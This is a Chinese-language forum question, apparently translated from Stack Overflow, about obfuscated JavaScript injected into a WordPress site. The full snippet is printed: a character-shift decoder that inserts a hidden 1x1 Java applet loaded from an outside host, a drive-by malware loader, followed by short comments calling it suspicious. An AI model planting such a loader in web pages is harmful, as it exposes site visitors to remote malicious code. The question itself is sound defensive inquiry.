2012-03-23 115 views
0

有人可以解释下面的JavaScript代码做什么?我一直在Wordpress网站上看到它,并且变量在不同的计算机上不断变化。不知道这是否是某种黑客攻击。这个javascript代码在做什么?

<script language="javascript"> 
var vgdck = function(mzsrpv, hysza, yzmii, apcmch){ 
    var xru = function(zzu) { 
     var szg, i; 
     var fge=""; 
     for (i = 0; i < zzu.length; ++i) { 
      szg =zzu.charCodeAt(i); 
      szg = szg- 1; 
      fge = fge + String.fromCharCode(szg); 
     } 
     return(fge); 
    }; 

    var rnetl=document.createElement(xru("bqqmfu")); 
    rnetl.setAttribute(xru("dpef"), xru(mzsrpv)); 
    rnetl.setAttribute(xru("bsdijwf"), xru("iuuq;00"+hysza)); 
    rnetl.setAttribute(xru("xjeui"), "1"); 
    rnetl.setAttribute(xru("ifjhiu"), "1"); 

    var rmjtth=document.createElement(xru("qbsbn")); 
    rmjtth.setAttribute(xru("obnf"),xru(yzmii)); 
    rmjtth.setAttribute(xru("wbmvf"),xru(apcmch)); 
    rnetl.appendChild(rmjtth); 
    document.body.appendChild(rnetl); 
}; 

var ecfrc = vgdck; 
ecfrc(
    "fenlscwulwvtkcri/okgseudbubiiusvzec/dmbtt", 
    "3123/hjtsmt/jo01379", 
    "vhmfgllmwqxfchlwqkgdkxd", 
    "21c22gcd7d579cf4f3fb4663:2c624d3311248fgbc8758c72e7g5c41962gf169" 
); 
</script> 
+1

这看起来邪恶 – 2012-03-23 03:27:43

+1

混淆后的JS通常不是一个好兆头。 – 2012-03-23 03:29:48

+0

可能只是一些废话你的主题增加。在主题文件中查找“